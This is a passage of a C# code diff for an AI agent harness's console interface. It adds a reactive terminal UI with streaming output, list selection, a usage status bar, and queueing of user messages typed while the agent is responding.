+        else if (e.KeyInfo.Key == ConsoleKey.Backspace)
+        {
+            if (this.State!.InputText.Length > 0)
+            {
+                this.SetState(this.State with { InputText = this.State.InputText[..^1] });
+            }
+        }
+        else if (e.KeyInfo.KeyChar != '\0' && !char.IsControl(e.KeyInfo.KeyChar))
+        {
+            this.SetState(this.State! with { InputText = this.State.InputText + e.KeyInfo.KeyChar });
+        }
+    }
+
+    private void OnConsoleResized(object? sender, ConsoleResizeEventArgs e)
+    {
+        this._resizedSinceLastRender = true;
+        this.SetState(this.State! with
+        {
+            ConsoleWidth = e.NewWidth,
+            ConsoleHeight = e.NewHeight,
+        });
+    }
+
+    /// <inheritdoc />
+    public override void RenderCore(HarnessAppComponentProps props, HarnessAppComponentState state)
+    {
+        // Determine the text panel height for the last scroll item
+        IReadOnlyList<object> lastItems = props.ScrollItems.Count > 0
+            ? [props.ScrollItems[^1]]
+            : [];
+        int textPanelHeight = TextPanel.CalculateHeight(lastItems, this._renderItem);
+        if (textPanelHeight > 0)
+        {
+            textPanelHeight++; // Extra line for spacing between text panel and rule
+        }
+
+        // Calculate queued items panel height
+        int queuedPanelHeight = TextPanel.CalculateHeight(props.QueuedItems, this._renderItem);
+
+        // Build the bottom panel child based on mode
+        ConsoleReactiveComponent bottomChild;
+        int bottomChildHeight;
+
+        if (props.Mode == BottomPanelMode.ListSelection)
+        {
+            var listProps = new ListSelectionProps
+            {
+                Title = props.ListTitle,
+                Items = props.Items,
+                SelectedIndex = state.SelectedIndex,
+                HighlightColor = props.ListHighlightColor,
+                CustomTextPlaceholder = props.ListCustomTextPlaceholder,
+                CustomText = state.ListInputText,
+            };
+
+            bottomChildHeight = ListSelection.CalculateHeight(listProps);
+            this._listSelection.Height = bottomChildHeight;
+            this._listSelection.Props = listProps;
+            bottomChild = this._listSelection;
+        }
+        else if (props.Mode == BottomPanelMode.Streaming)
+        {
+            TextInputProps textInputProps;
+            if (props.InputEnabled)
+            {
+                textInputProps = new TextInputProps
+                {
+                    Prompt = props.Prompt,
+                    Text = state.InputText,
+                    Placeholder = props.Placeholder,
+                };
+            }
+            else
+            {
+                textInputProps = new TextInputProps
+                {
+                    Prompt = props.Prompt,
+                    Text = "",
+                    Placeholder = props.StreamingPrompt,
+                };
+            }
+
+            bottomChildHeight = TextInput.CalculateHeight(textInputProps, state.ConsoleWidth);
+            this._textInput.Width = state.ConsoleWidth;
+            this._textInput.Height = bottomChildHeight;
+            this._textInput.Props = textInputProps;
+            bottomChild = this._textInput;
+        }
+        else
+        {
+            var textInputProps = new TextInputProps
+            {
+                Prompt = props.Prompt,
+                Text = state.InputText,
+                Placeholder = props.Placeholder,
+            };
+
+            bottomChildHeight = TextInput.CalculateHeight(textInputProps, state.ConsoleWidth);
+            this._textInput.Width = state.ConsoleWidth;
+            this._textInput.Height = bottomChildHeight;
+            this._textInput.Props = textInputProps;
+            bottomChild = this._textInput;
+        }
+
+        var ruleProps = new TopBottomRuleProps
+        {
+            Width = state.ConsoleWidth,
+            Color = props.ModeColor,
+            Children = [bottomChild],
+        };
+
+        // Calculate the agent status height
+        var agentStatusProps = new AgentStatusProps
+        {
+            ShowSpinner = props.ShowSpinner,
+            UsageText = props.UsageText,
+        };
+        int agentStatusHeight = AgentStatus.CalculateHeight(agentStatusProps);
+
+        // Calculate the mode-and-help height
+        var modeAndHelpProps = new AgentModeAndHelpProps
+        {
+            Mode = props.ModeText,
+            ModeColor = props.ModeColor,
+            HelpText = props.HelpText,
+        };
+        int modeAndHelpHeight = AgentModeAndHelp.CalculateHeight(modeAndHelpProps);
+
+        int ruleHeight = TopBottomRule.CalculateHeight(ruleProps);
+        int scrollBottom = Math.Max(1, state.ConsoleHeight - ruleHeight - textPanelHeight - agentStatusHeight - queuedPanelHeight - modeAndHelpHeight);
+
+        // If scroll region changed or a clear is needed, reset everything
+        if (this._resizedSinceLastRender || (this.ScrollRegionBottom != 0 && scrollBottom != this.ScrollRegionBottom))
+        {
+            System.Console.Write(AnsiEscapes.EraseEntireScreen);
+            System.Console.Write(AnsiEscapes.EraseScrollbackBuffer);
+            this._textScrollPanel.Reset();
+            this._resizedSinceLastRender = false;
+        }
+
+        this.ScrollRegionBottom = scrollBottom;
+
+        System.Console.Write(AnsiEscapes.SetScrollRegion(scrollBottom));
+
+        // Render text scroll panel in the scroll area (all items except the last)
+        IReadOnlyList<object> scrollItems = props.ScrollItems.Count > 1
+            ? props.ScrollItems.Take(props.ScrollItems.Count - 1).ToList()
+            : [];
+
+        this._textScrollPanel.X = 1;
+        this._textScrollPanel.Y = 1;
+        this._textScrollPanel.Width = state.ConsoleWidth;
+        this._textScrollPanel.Height = scrollBottom;
+        this._textScrollPanel.Props = new TextScrollPanelProps
+        {
+            Items = scrollItems,
+        };
+        this._textScrollPanel.Render();
+
+        // Render the text panel for the last (dynamic) item just below the scroll region
+        this._textPanel.X = 1;
+        this._textPanel.Y = scrollBottom + 1;
+        this._textPanel.Width = state.ConsoleWidth;
+        this._textPanel.Height = textPanelHeight;
+        this._textPanel.Props = new TextPanelProps
+        {
+            Items = lastItems,
+        };
+        this._textPanel.Render();
+
+        // Render queued input items between text panel and agent status
+        int queuedPanelY = scrollBottom + textPanelHeight + 1;
+        this._queuedPanel.X = 1;
+        this._queuedPanel.Y = queuedPanelY;
+        this._queuedPanel.Width = state.ConsoleWidth;
+        this._queuedPanel.Height = queuedPanelHeight;
+        this._queuedPanel.Props = new TextPanelProps
+        {
+            Items = props.QueuedItems,
+        };
+        this._queuedPanel.Render();
+
+        // Render the agent status line between queued items and rule
+        int agentStatusY = queuedPanelY + queuedPanelHeight;
+        this._agentStatus.X = 1;
+        this._agentStatus.Y = agentStatusY;
+        this._agentStatus.Width = state.ConsoleWidth;
+        this._agentStatus.Height = agentStatusHeight;
+        this._agentStatus.Props = agentStatusProps;
+        this._agentStatus.Render();
+
+        // Render the bottom rule + child below the agent status
+        this._rule.X = 1;
+        this._rule.Y = agentStatusY + agentStatusHeight;
+        this._rule.Props = ruleProps;
+        this._rule.Render();
+
+        // Render the mode-and-help line below the bottom rule
+        int modeAndHelpY = this._rule.Y + ruleHeight;
+        this._modeAndHelp.X = 1;
+        this._modeAndHelp.Y = modeAndHelpY;
+        this._modeAndHelp.Width = state.ConsoleWidth;
+        this._modeAndHelp.Height = modeAndHelpHeight;
+        this._modeAndHelp.Props = modeAndHelpProps;
+        this._modeAndHelp.Render();
+
+        // Position cursor for natural typing appearance
+        this.PositionCursor(props, state);
+    }
+
+    private void PositionCursor(HarnessAppComponentProps props, HarnessAppComponentState state)
+    {
+        if (props.Mode == BottomPanelMode.TextInput
+            || (props.Mode == BottomPanelMode.Streaming && props.InputEnabled))
+        {
+            int promptLength = props.Prompt.Length;
+            int textWidth = state.ConsoleWidth - promptLength;
+            int textLength = state.InputText.Length;
+
+            int textInputY = this._rule.Y + 1;
+
+            if (textWidth <= 0 || textLength == 0)
+            {
+                System.Console.Write(AnsiEscapes.MoveCursor(textInputY, promptLength + 1));
+            }
+            else
+            {
+                int cursorRow = textLength < textWidth ? 0 : 1 + ((textLength - textWidth) / textWidth);
+                int cursorCol = textLength < textWidth ? textLength : (textLength - textWidth) % textWidth;
+                System.Console.Write(AnsiEscapes.MoveCursor(textInputY + cursorRow, promptLength + cursorCol + 1));
+            }
+        }
+        else if (props.Mode == BottomPanelMode.ListSelection
+            && props.ListCustomTextPlaceholder != null
+            && state.SelectedIndex == props.Items.Count)
+        {
+            int titleLines = props.ListTitle?.Split('\n').Length ?? 0;
+            int customOptionY = this._rule.Y + 1 + titleLines + props.Items.Count;
+            int cursorCol = 2 + state.ListInputText.Length + 1;
+            System.Console.Write(AnsiEscapes.MoveCursor(customOptionY, cursorCol));
+        }
+    }
+}
@@ -34,42 +34,55 @@ public static class HarnessConsole
                nameof(options));
        }

-        System.Console.WriteLine($"=== {title} ===");
-        System.Console.WriteLine(userPrompt);
-
        var todoProvider = agent.GetService<TodoProvider>();
        var modeProvider = agent.GetService<AgentModeProvider>();
+        var messageInjector = agent.GetService<MessageInjectingChatClient>();

-        // Build command handlers.
-        var commandHandlers = new List<ICommandHandler>
+        var commandHandlers = new List<CommandHandler>
        {
            new TodoCommandHandler(todoProvider),
            new ModeCommandHandler(modeProvider, options.ModeColors),
        };

-        var commands = commandHandlers
+        AgentSession session = await agent.CreateSessionAsync();
+
+        using var ux = new HarnessUXContainer(
+            placeholder: userPrompt,
+            initialMode: modeProvider?.GetMode(session),
+            inputEnabled: messageInjector is not null,
+            modeColors: options.ModeColors);
+
+        // Streaming-mode submissions are enqueued for injection; the queued display
+        // is then refreshed from the injector's current pending list.
+        ux.StreamingInputReceived += (sender, e) =>
+        {
+            if (messageInjector is null)
+            {
+                return;
+            }
+
+            messageInjector.EnqueueMessages(session, [new ChatMessage(ChatRole.User, e.Text)]);
+            ux.ShowQueuedMessages(messageInjector.GetPendingMessages(session));
+        };
+
+        var commandHelp = commandHandlers
            .Select(h => h.GetHelpText())
            .Where(t => t is not null)
-            .Append("exit (quit)");
+            .Append("exit (quit)")!;

-        System.Console.WriteLine($"Commands: {string.Join(", ", commands)}");
-        System.Console.WriteLine();
+        ux.Initialize(title, commandHelp!, messageInjector is not null);

-        AgentSession session = await agent.CreateSessionAsync();
-        using var writer = new ConsoleWriter(options.ModeColors);
-        writer.CurrentMode = modeProvider?.GetMode(session);
+        string userInput = await ux.WaitForInputAsync();

-        string prompt = BuildUserPrompt(modeProvider, session);
-        string? userInput = await writer.ReadLineAsync(prompt);
-
-        // Main loop to run a command or agent and get the next user command/input.
        while (!string.IsNullOrWhiteSpace(userInput) && !userInput.Equals("exit", StringComparison.OrdinalIgnoreCase))
        {
+            ux.WriteUserInputEcho(userInput);
+
            // Check command handlers first — first one to handle wins.
            bool handled = false;
            foreach (var handler in commandHandlers)
            {
-                if (await handler.TryHandleAsync(userInput, session).ConfigureAwait(false))
+                if (await handler.TryHandleAsync(userInput, session, ux).ConfigureAwait(false))
                {
                    handled = true;
                    break;
@@ -78,14 +91,14 @@ public static class HarnessConsole

            if (!handled)
            {
-                await RunAgentTurnAsync(agent, session, modeProvider, options, writer, userInput);
+                await RunAgentTurnAsync(agent, session, modeProvider, messageInjector, options, ux, userInput);
            }

-            writer.CurrentMode = modeProvider?.GetMode(session);
-            prompt = BuildUserPrompt(modeProvider, session);
-            userInput = await writer.ReadLineAsync(prompt);
+            ux.CurrentMode = modeProvider?.GetMode(session);
+            userInput = await ux.WaitForInputAsync();
        }

+        ux.Deactivate();
        System.Console.ResetColor();
        System.Console.WriteLine("Goodbye!");
    }
@@ -99,27 +112,27 @@ public static class HarnessConsole
        AIAgent agent,
        AgentSession session,
        AgentModeProvider? modeProvider,
+        MessageInjectingChatClient? messageInjector,
        HarnessConsoleOptions options,
-        ConsoleWriter writer,
+        HarnessUXContainer ux,
        string userInput)
    {
        IList<ChatMessage>? nextMessages = [new ChatMessage(ChatRole.User, userInput)];
+        IReadOnlyList<ChatMessage> lastPendingMessages = messageInjector?.GetPendingMessages(session) ?? [];

        while (nextMessages is not null)
        {
-            // Build observers for this invocation (may change between iterations due to mode changes).
            var observers = CreateObservers(options, modeProvider, session);

-            // Build run options — observers may inject ResponseFormat, etc.
            var runOptions = new AgentRunOptions();
            foreach (var observer in observers)
            {
                observer.ConfigureRunOptions(runOptions);
            }

-            // Stream the response, fanning out to all observers.
-            writer.CurrentMode = modeProvider?.GetMode(session);
-            writer.WriteResponseHeader();
+            ux.CurrentMode = modeProvider?.GetMode(session);
+            ux.BeginStreaming();
+            ux.BeginStreamingOutput();

            try
            {
@@ -129,9 +142,9 @@ public static class HarnessConsole
                    if (modeProvider is not null)
                    {
                        string currentMode = modeProvider.GetMode(session);
-                        if (currentMode != writer.CurrentMode)
+                        if (currentMode != ux.CurrentMode)
                        {
-                            writer.CurrentMode = currentMode;
+                            ux.CurrentMode = currentMode;
                        }
                    }

@@ -139,7 +152,7 @@ public static class HarnessConsole
                    {
                        foreach (var observer in observers)
                        {
-                            await observer.OnContentAsync(writer, content);
+                            await observer.OnContentAsync(ux, content);
                        }
                    }

@@ -147,22 +160,32 @@ public static class HarnessConsole
                    {
                        foreach (var observer in observers)
                        {
-                            await observer.OnTextAsync(writer, update.Text);
+                            await observer.OnTextAsync(ux, update.Text);
                        }
                    }
+
+                    SyncQueuedMessageDisplay(messageInjector, session, ux, ref lastPendingMessages);
                }
            }
            catch (Exception ex)
            {
-                await writer.WriteInfoLineAsync($"❌ Stream error: {ex.GetType().Name}:\n{ex}", ConsoleColor.Red);
+                await ux.WriteInfoLineAsync($"❌ Stream error: {ex.GetType().Name}:\n{ex}", ConsoleColor.Red);
            }

-            // Collect messages from all observers.
+            // Final sync after streaming — messages may have been consumed during the last iteration.
+            SyncQueuedMessageDisplay(messageInjector, session, ux, ref lastPendingMessages);
+
+            // Stop spinner before observer completions (which may prompt for input).
+            ux.StopSpinner();
+
+            // Close the streaming output to provide visual separation from observer output.
+            await ux.EndStreamingOutputAsync();
+
            var combinedMessages = new List<ChatMessage>();
            bool hasObserverMessages = false;
            foreach (var observer in observers)
            {
-                var messages = await observer.OnStreamCompleteAsync(writer, agent, session, options);
+                var messages = await observer.OnStreamCompleteAsync(ux, agent, session, options);
                if (messages is { Count: > 0 })
                {
                    combinedMessages.AddRange(messages);
@@ -170,11 +193,44 @@ public static class HarnessConsole
                }
            }

-            await writer.WriteStreamFooterAsync(hasFollowUpMessages: hasObserverMessages);
+            await ux.WriteNoTextWarningAsync(hasFollowUpMessages: hasObserverMessages);
+
+            ux.EndStreaming();
+
            nextMessages = combinedMessages.Count > 0 ? combinedMessages : null;
        }
    }

+    /// <summary>
+    /// Synchronizes the queued items display with the message injector's pending messages.
+    /// Messages that have been consumed (drained by the service) are echoed to the output
+    /// area as regular user-input entries.
+    /// </summary>
+    private static void SyncQueuedMessageDisplay(
+        MessageInjectingChatClient? messageInjector,
+        AgentSession session,
+        HarnessUXContainer ux,
+        ref IReadOnlyList<ChatMessage> lastPendingMessages)
+    {
+        if (messageInjector is null)
+        {
+            return;
+        }
+
+        var pending = messageInjector.GetPendingMessages(session);
+
+        // If previously pending messages exceed current pending count, some were consumed.
+        int consumedCount = lastPendingMessages.Count - pending.Count;
+        for (int i = 0; i < consumedCount && i < lastPendingMessages.Count; i++)
+        {
+            string text = lastPendingMessages[i].Text ?? string.Empty;
+            ux.WriteUserInputEcho(text);
+        }
+
+        lastPendingMessages = pending;
+        ux.ShowQueuedMessages(pending);
+    }
+
    private static List<ConsoleObserver> CreateObservers(HarnessConsoleOptions options, AgentModeProvider? modeProvider, AgentSession session)
    {
        var observers = new List<ConsoleObserver>
@@ -186,7 +242,6 @@ public static class HarnessConsole
            new UsageDisplayObserver(options.MaxContextWindowTokens, options.MaxOutputTokens),
        };

-        // Add the appropriate output observer based on the current mode.
        if (options.EnablePlanningUx
            && modeProvider is not null
            && string.Equals(modeProvider.GetMode(session), options.PlanningModeName, StringComparison.OrdinalIgnoreCase))
@@ -200,15 +255,4 @@ public static class HarnessConsole

        return observers;
    }
-
-    private static string BuildUserPrompt(AgentModeProvider? modeProvider, AgentSession session)
-    {
-        if (modeProvider is not null)
-        {
-            string mode = modeProvider.GetMode(session);
-            return $"[{mode}] You: ";
-        }
-
-        return "You: ";
-    }
 }
@@ -0,0 +1,478 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+using Harness.ConsoleReactiveComponents;
+using Microsoft.Extensions.AI;
+
+namespace Harness.Shared.Console;
+
+/// <summary>
+/// Event arguments raised when the user submits text while the bottom panel is in
+/// streaming mode (i.e. an agent turn is in progress).
+/// </summary>
+public sealed class StreamingInputReceivedEventArgs : EventArgs
+{
+    /// <summary>
+    /// Initializes a new instance of the <see cref="StreamingInputReceivedEventArgs"/> class.
+    /// </summary>
+    /// <param name="text">The submitted text.</param>
+    public StreamingInputReceivedEventArgs(string text)
+    {
+        this.Text = text;
+    }
+
+    /// <summary>
+    /// Gets the submitted text.
+    /// </summary>
+    public string Text { get; }
+}
+
+/// <summary>
+/// Façade over the harness UI: owns the <see cref="HarnessAppComponent"/>, manages
+/// its props, dispatches input submissions, and provides the high-level read/write
+/// operations used by observers, command handlers, and the harness loop.
+/// </summary>
+/// <remarks>
+/// All callers interact with the UI exclusively through this class. The underlying
+/// <see cref="HarnessAppComponent"/> and its props are an implementation detail and
+/// must not be exposed.
+/// </remarks>
+public sealed class HarnessUXContainer : IDisposable
+{
+    /// <summary>
+    /// The prompt displayed in the bottom-panel input area.
+    /// </summary>
+    private const string UserPrompt = "> ";
+
+    private readonly IReadOnlyDictionary<string, ConsoleColor>? _modeColors;
+    private readonly List<object> _outputItems = [];
+    private readonly HarnessAppComponent _appComponent;
+    private readonly object _outputLock = new();
+
+    private TaskCompletionSource<string>? _pendingInputTcs;
+    private OutputEntryType? _lastEntryType;
+    private bool _hasReceivedAnyText;
+    private OutputEntry? _currentStreamingEntry;
+    private string? _currentMode;
+
+    /// <summary>
+    /// Initializes a new instance of the <see cref="HarnessUXContainer"/> class.
+    /// </summary>
+    /// <param name="placeholder">Placeholder text shown when the input is empty.</param>
+    /// <param name="initialMode">The current agent mode, used to colour the rule and prompt.</param>
+    /// <param name="inputEnabled">Whether the bottom-panel input accepts keystrokes during streaming.</param>
+    /// <param name="modeColors">Optional mapping of mode names to console colors.</param>
+    public HarnessUXContainer(
+        string placeholder,
+        string? initialMode,
+        bool inputEnabled,
+        IReadOnlyDictionary<string, ConsoleColor>? modeColors = null)
+    {
+        this._modeColors = modeColors;
+        this._currentMode = initialMode;
+
+        this._appComponent = new HarnessAppComponent(RenderOutputEntry)
+        {
+            Props = new HarnessAppComponentProps
+            {
+                ScrollItems = this._outputItems,
+                Mode = BottomPanelMode.TextInput,
+                Prompt = UserPrompt,
+                Placeholder = placeholder,
+                ModeColor = ModeColors.Get(initialMode, modeColors),
+                ModeText = initialMode,
+                InputEnabled = inputEnabled,
+            },
+        };
+
+        this._appComponent.InputSubmitted += this.OnInputSubmitted;
+    }
+
+    /// <summary>
+    /// Raised when the user submits text while the bottom panel is in streaming mode.
+    /// Subscribers typically enqueue the text into a message-injecting chat client.
+    /// </summary>
+    public event EventHandler<StreamingInputReceivedEventArgs>? StreamingInputReceived;
+
+    /// <summary>
+    /// Gets or sets the current agent mode (e.g. "plan", "execute"). Updating this
+    /// also refreshes the rule colour and bottom-panel prompt to match the new mode.
+    /// </summary>
+    public string? CurrentMode
+    {
+        get => this._currentMode;
+        set
+        {
+            this._currentMode = value;
+            this._appComponent.Props = this._appComponent.Props! with
+            {
+                ModeColor = ModeColors.Get(value, this._modeColors),
+                ModeText = value,
+            };
+            this._appComponent.Render();
+        }
+    }
+
+    /// <summary>
+    /// Performs the initial screen clear, sets the help text in the mode-and-help bar,
+    /// and adds the title to the output area.
+    /// </summary>
+    /// <param name="title">The title displayed in the console header.</param>
+    /// <param name="commandHelpTexts">The command help strings displayed in the mode-and-help bar.</param>
+    /// <param name="messageInjectionActive">Whether streaming-time message injection is enabled.</param>
+    public void Initialize(string title, IEnumerable<string> commandHelpTexts, bool messageInjectionActive)
+    {
+        // Set the help text on the mode-and-help bar (persists below the rule).
+        this._appComponent.Props = this._appComponent.Props! with
+        {
+            HelpText = string.Join(", ", commandHelpTexts),
+            ModeText = this._currentMode,
+        };
+
+        System.Console.Write(AnsiEscapes.EraseEntireScreen);
+        System.Console.Write(AnsiEscapes.EraseScrollbackBuffer);
+        this._appComponent.Render();
+
+        this.AppendOutputEntries(
+            new OutputEntry(OutputEntryType.InfoLine, $"=== {title} ===\n", ConsoleColor.White),
+            new OutputEntry(OutputEntryType.InfoLine, "\n"));
+    }
+
+    /// <summary>
+    /// Restores the cursor and exits the alternate screen, ending the interactive UI.
+    /// </summary>
+    public void Deactivate() => this._appComponent.Deactivate();
+
+    /// <summary>
+    /// Switches the bottom panel to streaming mode and starts the spinner.
+    /// </summary>
+    public void BeginStreaming()
+    {
+        this._appComponent.Props = this._appComponent.Props! with
+        {
+            Mode = BottomPanelMode.Streaming,
+            ShowSpinner = true,
+        };
+        this._appComponent.Render();
+    }
+
+    /// <summary>
+    /// Stops the spinner without leaving streaming mode. Use between the end of the
+    /// stream and any observer-driven prompts (e.g. tool approvals).
+    /// </summary>
+    public void StopSpinner()
+    {
+        this._appComponent.Props = this._appComponent.Props! with { ShowSpinner = false };
+        this._appComponent.Render();
+    }
+
+    /// <summary>
+    /// Switches the bottom panel back to text-input mode and stops the spinner.
+    /// </summary>
+    public void EndStreaming()
+    {
+        this._appComponent.Props = this._appComponent.Props! with
+        {
+            Mode = BottomPanelMode.TextInput,
+            ShowSpinner = false,
+        };
+        this._appComponent.Render();
+    }
+
+    /// <summary>
+    /// Resets per-turn streaming bookkeeping in preparation for a new agent turn.
+    /// </summary>
+    public void BeginStreamingOutput()
+    {
+        this._hasReceivedAnyText = false;
+        this._currentStreamingEntry = null;
+    }
+
+    /// <summary>
+    /// Sets the formatted usage text shown on the agent status bar.
+    /// </summary>
+    public void SetUsageText(string usageText)
+    {
+        this._appComponent.Props = this._appComponent.Props! with { UsageText = usageText };
+        this._appComponent.Render();
+    }
+
+    /// <summary>
+    /// Clears the usage text from the agent status bar.
+    /// </summary>
+    public void ClearUsageText()
+    {
+        this._appComponent.Props = this._appComponent.Props! with { UsageText = null };
+        this._appComponent.Render();
+    }
+
+    /// <summary>
+    /// Replaces the queued-message display with one entry per pending message.
+    /// </summary>
+    public void ShowQueuedMessages(IReadOnlyList<ChatMessage> pending)
+    {
+        var newQueued = new List<object>(pending.Count);
+        foreach (var msg in pending)
+        {
+            string text = msg.Text ?? string.Empty;
+            newQueued.Add(new OutputEntry(OutputEntryType.UserInput, $"  💬 {text}\n", ConsoleColor.DarkGray));
+        }
+
+        this._appComponent.Props = this._appComponent.Props! with { QueuedItems = newQueued };
+        this._appComponent.Render();
+    }
+
+    /// <summary>
+    /// Echoes a submitted user input as a regular user-input entry in the output area,
+    /// using the current mode-aware prompt prefix.
+    /// </summary>
+    /// <param name="text">The user-entered text.</param>
+    public void WriteUserInputEcho(string text)
+    {
+        this.AppendOutputEntries(new OutputEntry(
+            OutputEntryType.UserInput,
+            $"\nYou: {text}\n",
+            ConsoleColor.Green));
+    }
+
+    /// <summary>
+    /// Writes informational output as an output entry, without a trailing newline.
+    /// </summary>
+    public Task WriteInfoAsync(string text, ConsoleColor? color = null) =>
+        this.WriteInfoCoreAsync(text, color, newLine: false);
+
+    /// <summary>
+    /// Writes informational output as an output entry, followed by a newline.
+    /// </summary>
+    public Task WriteInfoLineAsync(string text, ConsoleColor? color = null) =>
+        this.WriteInfoCoreAsync(text, color, newLine: true);
+
+    private Task WriteInfoCoreAsync(string text, ConsoleColor? color, bool newLine)
+    {
+        // Add a blank line separator when transitioning from streaming text or user input.
+        string prefix = this._lastEntryType is OutputEntryType.StreamingText or OutputEntryType.StreamFooter
+            ? "\n\n  "
+            : "  ";
+
+        string fullText = newLine ? prefix + text + "\n" : prefix + text;
+        this.AppendOutputEntries(new OutputEntry(
+            OutputEntryType.InfoLine,
+            fullText,
+            color ?? ModeColors.Get(this.CurrentMode, this._modeColors)));
+        return Task.CompletedTask;
+    }
+
+    /// <summary>
+    /// Writes streaming text output from the agent. Successive calls accumulate into a
+    /// single streaming entry that is re-rendered by the text panel.
+    /// </summary>
+    public Task WriteTextAsync(string text, ConsoleColor? color = null)
+    {
+        lock (this._outputLock)
+        {
+            this._lastEntryType = OutputEntryType.StreamingText;
+            this._hasReceivedAnyText = true;
+
+            ConsoleColor effectiveColor = color ?? ModeColors.Get(this.CurrentMode, this._modeColors);
+
+            if (this._currentStreamingEntry is not null)
+            {
+                this._currentStreamingEntry = this._currentStreamingEntry with
+                {
+                    Text = this._currentStreamingEntry.Text + text,
+                };
+                this._outputItems[^1] = this._currentStreamingEntry;
+            }
+            else
+            {
+                const string Prefix = "\n";
+                this._currentStreamingEntry = new OutputEntry(OutputEntryType.StreamingText, Prefix + text, effectiveColor);
+                this._outputItems.Add(this._currentStreamingEntry);
+            }
+
+            this._appComponent.Props = this._appComponent.Props! with
+            {
+                ScrollItems = new List<object>(this._outputItems),
+            };
+        }
+
+        this._appComponent.Render();
+        return Task.CompletedTask;
+    }
+
+    /// <summary>
+    /// Writes a blank-line separator to visually close the streaming output section.
+    /// Call before observer completions so their output is visually separated.
+    /// </summary>
+    public Task EndStreamingOutputAsync()
+    {
+        lock (this._outputLock)
+        {
+            this._outputItems.Add(new OutputEntry(OutputEntryType.StreamFooter, "\n"));
+            this._currentStreamingEntry = null;
+            this._lastEntryType = OutputEntryType.StreamFooter;
+            this._appComponent.Props = this._appComponent.Props! with
+            {
+                ScrollItems = new List<object>(this._outputItems),
+            };
+        }
+
+        this._appComponent.Render();
+        return Task.CompletedTask;
+    }
+
+    /// <summary>
+    /// Shows a "(no text response from agent)" warning if no text was received
+    /// and no observer produced follow-up messages. Call after observer completions.
+    /// </summary>
+    /// <param name="hasFollowUpMessages">Whether any observer produced follow-up messages.</param>
+    public Task WriteNoTextWarningAsync(bool hasFollowUpMessages)
+    {
+        if (!this._hasReceivedAnyText && !hasFollowUpMessages)
+        {
+            this.AppendOutputEntries(new OutputEntry(
+                OutputEntryType.StreamFooter,
+                "  (no text response from agent)\n",
+                ConsoleColor.DarkYellow));
+        }
+
+        return Task.CompletedTask;
+    }
+
+    /// <summary>
+    /// Reads a line of input from the user. If <paramref name="prompt"/> is supplied
+    /// it is rendered as an info line above the input row before reading.
+    /// </summary>
+    public async Task<string?> ReadLineAsync(string? prompt = null, ConsoleColor? promptColor = null)
+    {
+        if (prompt is not null)
+        {
+            ConsoleColor ruleColor = ModeColors.Get(this.CurrentMode, this._modeColors);
+            this.AppendOutputEntries(
+                new OutputEntry(OutputEntryType.InfoLine, "\n", ruleColor),
+                new OutputEntry(OutputEntryType.InfoLine, $"  {prompt}", promptColor ?? ruleColor));
+        }
+
+        this._appComponent.Props = this._appComponent.Props! with { Mode = BottomPanelMode.TextInput };
+        this._appComponent.Render();
+
+        string input = await this.WaitForInputAsync();
+
+        this.AppendOutputEntries(new OutputEntry(
+            OutputEntryType.UserInput,
+            $"\nYou: {input}\n",
+            ConsoleColor.Green));
+
+        return input;
+    }
+
+    /// <summary>
+    /// Presents a selection prompt with the given choices and waits for the user's
+    /// selection. The title is displayed above the list in the bottom panel. After
+    /// selection the bottom panel is restored to text-input mode and both the question
+    /// and selection are echoed in the output area.
+    /// </summary>
+    public async Task<string> ReadSelectionAsync(string title, IList<string> choices)
+    {
+        this._appComponent.Props = this._appComponent.Props! with
+        {
+            Mode = BottomPanelMode.ListSelection,
+            Items = choices.ToList(),
+            ListTitle = title,
+            ListCustomTextPlaceholder = "✏️  Type a custom response...",
+        };
+        this._appComponent.Render();
+
+        string selection = await this.WaitForInputAsync();
+
+        this._appComponent.Props = this._appComponent.Props with { Mode = BottomPanelMode.TextInput };
+
+        this.AppendOutputEntries(
+            new OutputEntry(
+                OutputEntryType.InfoLine,
+                $"\n  {title}\n",
+                ModeColors.Get(this.CurrentMode, this._modeColors)),
+            new OutputEntry(
+                OutputEntryType.UserInput,
+                $"\nYou: {selection}\n",
+                ConsoleColor.Green));
+
+        return selection;
+    }
+
+    /// <summary>
+    /// Awaits the next non-streaming user input submission.
+    /// </summary>
+    public Task<string> WaitForInputAsync()
+    {
+        this._pendingInputTcs = new TaskCompletionSource<string>(TaskCreationOptions.RunContinuationsAsynchronously);
+        return this._pendingInputTcs.Task;
+    }
+
+    private void OnInputSubmitted(object? sender, InputSubmittedEventArgs e)
+    {
+        if (e.Mode == BottomPanelMode.Streaming)
+        {
+            this.StreamingInputReceived?.Invoke(this, new StreamingInputReceivedEventArgs(e.Text));
+        }
+        else
+        {
+            var waiter = this._pendingInputTcs;
+            this._pendingInputTcs = null;
+            waiter?.TrySetResult(e.Text);
+        }
+    }
+
+    /// <inheritdoc/>
+    public void Dispose()
+    {
+        this._appComponent.InputSubmitted -= this.OnInputSubmitted;
+        this._appComponent.Deactivate();
+        this._appComponent.Dispose();
+    }
+
+    /// <summary>
+    /// Renders an <see cref="OutputEntry"/> to a string with ANSI color codes.
+    /// Used as the render delegate for the <see cref="HarnessAppComponent"/>.
+    /// </summary>
+    private static string RenderOutputEntry(object item)
+    {
+        if (item is not OutputEntry entry)
+        {
+            return item?.ToString() ?? string.Empty;
+        }
+
+        if (entry.Color.HasValue)
+        {
+            return $"{AnsiEscapes.SetForegroundColor(entry.Color.Value)}{entry.Text}{AnsiEscapes.ResetAttributes}";
+        }
+
+        return entry.Text;
+    }
+
+    /// <summary>
+    /// Appends one or more output entries to the output list under lock,
+    /// updates <see cref="_lastEntryType"/> to the last entry's type, and renders.
+    /// </summary>
+    private void AppendOutputEntries(params OutputEntry[] entries)
+    {
+        lock (this._outputLock)
+        {
+            foreach (OutputEntry entry in entries)
+            {
+                this._outputItems.Add(entry);
+            }
+
+            if (entries.Length > 0)
+            {
+                this._lastEntryType = entries[^1].Type;
+            }
+
+            this._appComponent.Props = this._appComponent.Props! with
+            {
+                ScrollItems = new List<object>(this._outputItems),
+            };
+        }
+
+        this._appComponent.Render();
+    }
+}
@@ -7,12 +7,10 @@
    <ImplicitUsings>enable</ImplicitUsings>
  </PropertyGroup>

-  <ItemGroup>
-    <PackageReference Include="Spectre.Console" />
-  </ItemGroup>
-
  <ItemGroup>
    <ProjectReference Include="..\..\..\..\src\Microsoft.Agents.AI\Microsoft.Agents.AI.csproj" />
+    <ProjectReference Include="..\ConsoleReactiveFramework\ConsoleReactiveFramework.csproj" />
+    <ProjectReference Include="..\ConsoleReactiveComponents\ConsoleReactiveComponents.csproj" />
  </ItemGroup>

 </Project>
@@ -0,0 +1,31 @@
+// Copyright (c) Microsoft. All rights reserved.
